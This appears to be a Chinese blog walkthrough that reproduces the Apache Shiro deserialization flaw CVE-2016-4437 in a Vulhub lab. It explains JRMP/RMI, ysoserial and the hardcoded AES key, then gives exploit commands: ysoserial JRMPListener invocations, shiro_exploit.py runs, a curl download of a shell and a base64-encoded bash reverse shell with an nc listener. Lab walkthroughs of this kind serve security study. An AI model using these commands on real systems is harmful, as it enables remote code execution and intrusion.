shiro反序列化漏洞(CVE-2016-4437)

0x00 Java安全

一 、RMI/JRMP协议

TCP/IP协议相信大家都很了解了,不了解的可以自行百度。在这里我们先来简单来讲讲JRMP协议相关内容。JRMP是一个Java远程方法协议,该协议基于TCP/IP之上,RMI协议之下。也就是说RMI协议传递时底层使用的是JRMP协议,而JRMP底层则是基于TCP传递。RMI默认使用的JRMP进行传递数据,并且JRMP协议只能作用于RMI协议。当然RMI支持的协议除了JRMP还有IIOP协议。那RMI协议又是什么呢?总的来说,RMI协议集合了Java序列化和Java远程方法协议(Java Remote Method Protocol),是一个Java虚拟机的对象调用运行在另一个Java虚拟机上的对象的方法,是分布式应用之间调用的一种手段。笔者个人的理解就是它实现了 java 远程模块之间的共享。

小饭店原来只有一个厨师,切菜洗菜备料炒菜全干。后来客人多了,厨房一个厨师忙不过来,又请了个厨师,两个厨师都能炒一样的菜,这两个厨师的关系是集群。为了让厨师专心炒菜,把菜做到极致,又请了个配菜师负责切菜,备菜,备料,厨师和配菜师的关系是分布式,一个配菜师也忙不过来了,又请了个配菜师,两个配菜师关系是集群。

二、JRMP模块利用

1、ysoserial中的exploit/JRMPClient是作为攻击方的代码,一般会结合payloads/JRMPLIstener使用。攻击流程如下:

  • 需要发送payloads/JRMPLIstener内容到漏洞服务器中,在该服务器反序列化完成我们的payload后会开启一个RMI的服务监听在设置的端口上。
  • 我们还需要在我们自己的服务器使用exploit/JRMPClient与存在漏洞的服务器进行通信,并且发送一个gadgets对象,达到命令执行的效果。(前面说过RMI协议在传输中传递序列化,接收数据后进行反序列化操作。)

简单来说就是将一个payload发送到服务器,服务器反序列化操作该payload过后会在指定的端口开启RMI监听,然后通过exploit/JRMPClient去发送攻击gadgets对象。

2、该方法和第一钟类似,使用exploit/JRMPListener作为攻击方进行监听,在反序列化漏洞位置发送payloads/JRMPClient向我们的exploit/JRMPListener进行连接,连接后会返回在exploit/JRMPListener的gadgets对象并且进行反序列化。攻击流程如下:

  • 攻击方在自己的服务器使用exploit/JRMPListener开启一个RMI监听
  • 往存在漏洞的服务器发送payloads/JRMPClient,payload中已经设置了攻击者服务器IP以及JRMPListener监听的端口,漏洞服务器反序列化该payload后,会去连接攻击者开启的RMI监听,在通信过程中,攻击者服务器会发送一个可执行命令的payload(假如存在漏洞的服务器中有使用org.apacje.commons.collections包,则可以发送CommonsCollections系列的payload),从而达到命令执行的结果。

三、ysoserial工具使用

ysoserial 是一款针对 java 反序列化漏洞的神器,它集合了各种 java 框架,如CommonsCollection1、CommonsCollection2、CommonsCollection3等,而这些框架又集合了各种类和接口,因此它可以根据格式各样的利用链构造所需的 payload。利用方式如下:

先在公网vps上执行:

java -cp ysoserial-0.0.6-SNAPSHOT-BETA-all.jar ysoserial.exploit.JRMPListener 【port】 CommonsCollections1 '【commands】'
  • port:公网vps上监听的端口号
  • commands:需要执行的命令
  • ysoserial-0.0.6-SNAPSHOT-BETA-all.jar:下载打包后 ysoserial.jar 的名称

栗子:

java -cp ysoserial-0.0.6-SNAPSHOT-BETA-all.jar ysoserial.exploit.JRMPListener 1099 CommonsCollections1 'ping -c 2  rce.267hqw.ceye.io'

然后重启一个shell窗口:

python 【exploit.py】 【目标ip】 【目标端口】 ysoserial-0.0.6-SNAPSHOT-BETA-all.jar 【JRMPListener ip】  【JRMPListener port】 JRMPClient

栗子:

python shiro_exploit.py 118.89.53.139  7001 ysoserial-0.0.6-SNAPSHOT-BETA-all.jar 118.89.53.139  1099 JRMPClient

0x01 Shiro框架

Apache Shiro是一个Java安全框架,执行身份验证、授权、密码和会话管理。

0x02 漏洞原理

Apache Shiro 框架提供了记住密码的功能(rememberMe),用户登录成功后会生成经过加密并编码的 cookie,因此在识别身份的时候,shiro 会对 cookie 里的 rememberMe 字段进行解密。根据加密的顺序,解密的顺序为:

  • 获取rememberMe cookie
  • base64 decode
  • AES解密(加密密钥硬编码)
  • 反序列化(未作过滤处理)

但是在低版本的 shiro 中,AES 加密的密钥 key 被硬编码在代码里,这就意味着每个人都能通过源代码拿到 AES 加密的密钥。因此攻击者就可以:构造恶意对象 => 序列化 => AES加密 => base64编码后,将其作为 cookie 的 rememberMe 字段发送。shiro 收到 rememberMe 后进行解密和反序列化,最终造成反序列化漏洞。

0x03 影响版本

Apache Shiro < 1.2.4

0x04 指纹特征

返回包中包含 rememberMe=deleteMe 字段。

0x05 漏洞复现

一、 环境搭建

下载Ubuntu桌面版作为本次环境搭建的虚拟机:https://cn.ubuntu.com/download/desktop,笔者使用的是Ubuntu 20.04.3 LTS。

安装完成后进行一些配置:

sudo passwd root                 #更改root用户的密码
su root                          #切换root用户
apt-get update                   #更新软件列表
apt-get install                  #安装install命令
apt-get install ssh              #安装ssh服务
apt-get install vim              #安装vim编辑器
apt-get install net-tools        #安装net-tools
sudo apt-get install python3-pip #安装pip命令

由于Ubuntu是默认禁止root用户ssh远程登录的,所以需要更改相关配置文件:

vim /etc/ssh/sshd_config,

shiro反序列化漏洞(CVE-2016-4437)_第1张图片

  • PermitRootLogin yes #允许root认证登录
  • PasswordAuthentication yes #允许密码认证(no的话密码正确也不让登录)
sudo service ssh restart  #重启生效
sudo systemctl enable ssh #设置开机自动启用ssh服务
netstat -aptn             #查看端口使用情况
sudo ps -e |grep ssh      #查看ssh服务是否开启

shiro反序列化漏洞(CVE-2016-4437)_第2张图片

解决Windows(Ctrl+C)和Ubuntu(Ctrl+Shift+V)之间相互复制粘贴问题:

sudo apt-get autoremove open-vm-tools 
sudo apt-get install open-vm-tools-desktop 
重启生效

下载Vulhub靶场模拟漏洞环境:https://vulhub.org,网站文档中有环境启动的详细过程。

启动docker服务:

su root                 #切换到root用户
systemctl enable docker #设置开机自动启用docker服务
systemctl start docker  #启动docker 服务
docker version          #查看docker是否启动

如果未切换至root用户会则会因权限不足而无法启动docker:
在这里插入图片描述
解决方案方案如下:

sudo groupadd docker          #添加docker用户组
sudo gpasswd -a $XXX docker   #检测当前用户是否已经在docker用户组中,其中XXX为用户名,例如我的,liangll
sudo gpasswd -a $USER docker  #将当前用户添加至docker用户组
newgrp docker                 #更新docker用户组
docker version                #查看docker是否启动

shiro反序列化漏洞(CVE-2016-4437)_第3张图片
按照官方文档的操作拉起环境并进行访问:

cd vulhub/shiro/CVE-2016-4437
docker-compose build
docker-compose up -d

shiro反序列化漏洞(CVE-2016-4437)_第4张图片
shiro反序列化漏洞(CVE-2016-4437)_第5张图片
查询Ubuntu的ip并在本地进行访问::
shiro反序列化漏洞(CVE-2016-4437)_第6张图片
shiro反序列化漏洞(CVE-2016-4437)_第7张图片
相关测试结束后使用命令docker-compose down移除环境。

二、工具准备

1、配置maven

sudo wget  https://mirrors.tuna.tsinghua.edu.cn/apache/maven/maven-3/3.6.3/binaries/apache-maven-3.6.3-bin.tar.gz
tar -zxvf apache-maven-3.6.3-bin.tar.gz
sudo mv apache-maven-3.6.3 /usr/local/maven3
在/etc/profile末尾添加maven环境变量:
export M2_HOME=/usr/local/maven3
export PATH=$PATH:$JAVA_HOME/bin:$M2_HOME/bin
source /etc/profile

环境变量的配置参考:解决linux下source /etc/profile关闭终端失效问题

2、下载并打包ysoserial

git clone https://github.com/frohoff/ysoserial.git
cd ysoserial
mvn package -D skipTests

3、下载Shiro_exploit

Github项目地址:https://github.com/insightglacier/Shiro_exploit

三、漏洞检测

1、检测可用key:

python shiro_exploit.py -u 129.168.202.129:8080 -t 1

shiro反序列化漏洞(CVE-2016-4437)_第8张图片
不知道为什么一直请求超时,个人感觉是虚拟机环境问题查,阅资料无解,欢迎各位师傅评论区留言表达自己的看法。ps:要是有vps就好了

HTTPConnectionPool(host='129.168.202.129', port=8080): Max retries exceeded with url: / (Caused by ConnectTimeoutError(<urllib3.connection.HTTPConnection object at 0x7f8c15d08d50>, 'Connection to 129.168.202.129 timed out. (connect timeout=10)'))

因此我们跳过1~4的漏洞检测,直接对其进行利用。

2、检测可用gadget:

python shiro_exploit.py -u 129.168.202.129:8080 -t 1 -p "ping h9pkw8.ceye.io" -k ""

CEYE是一个用来检测带外(Out-of-Band)流量的监控平台,如DNS查询和HTTP请求,它可以帮助安全研究人员在测试漏洞时收集信息(例如 SSRF / XXE / RFI / RCE)。更多相关内容请戳我

3、开启JRMPListener监听,kali执行:

java -cp ysoserial-0.0.6-SNAPSHOT-all.jar ysoserial.exploit.JRMPListener 1099 CommonsCollections5 'curl http://h9pkw8.ceye.io/shell -o shell'

4、实现JRMPClient反打,kali执行:

python shiro_exploit.py -u 129.168.202.129:8080 -t 2 -g JRMPClient -p "192.168.202.130:1099" -k ""

四、漏洞利用

1、制作反弹shell代码&监听本地端口:

Java Runtime 配合 bash 编码,在线编码地址:http://www.jackson-t.ca/runtime-exec-payloads.html

bash -i >& /dev/tcp/192.168.202.130/1234 0>&1 #反弹shell代码
bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjIwMi4xMzAvMTIzNCAwPiYx}|{base64,-d}|{bash,-i} #编码后的反弹shell代码
nc -lvp 1234 #监听本地端口

shiro反序列化漏洞(CVE-2016-4437)_第9张图片
2、开启JRMPListener监听并执行反弹shell命令,kali执行:

java -cp ysoserial-0.0.6-SNAPSHOT-all.jar ysoserial.exploit.JRMPListener 6666 CommonsCollections4 'bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjIwMi4xMzAvMTIzNCAwPiYx}|{base64,-d}|{bash,-i}'

shiro反序列化漏洞(CVE-2016-4437)_第10张图片
3、使用shiro.py生成payload(四.3 + 四.4 ≈ 三.4):

python shiro.py 192.168.202.130:6666

shiro反序列化漏洞(CVE-2016-4437)_第11张图片
4、构造数据包伪造cookie,发送payload:
shiro反序列化漏洞(CVE-2016-4437)_第12张图片

JRMPListener监听端口,查看连接情况:
shiro反序列化漏洞(CVE-2016-4437)_第13张图片
nc监听端口,查看shell反弹情况:

不知道为什么没有反弹shell,应该还是环境问题,正常情况应该是反弹成功的。

0x06 参考文章

JRMPListener && JRMPClient使用小记

Java安全之ysoserial-JRMP模块分析(一)

windows使用nc命令

你可能感兴趣的:(漏洞复现,java,shiro,web)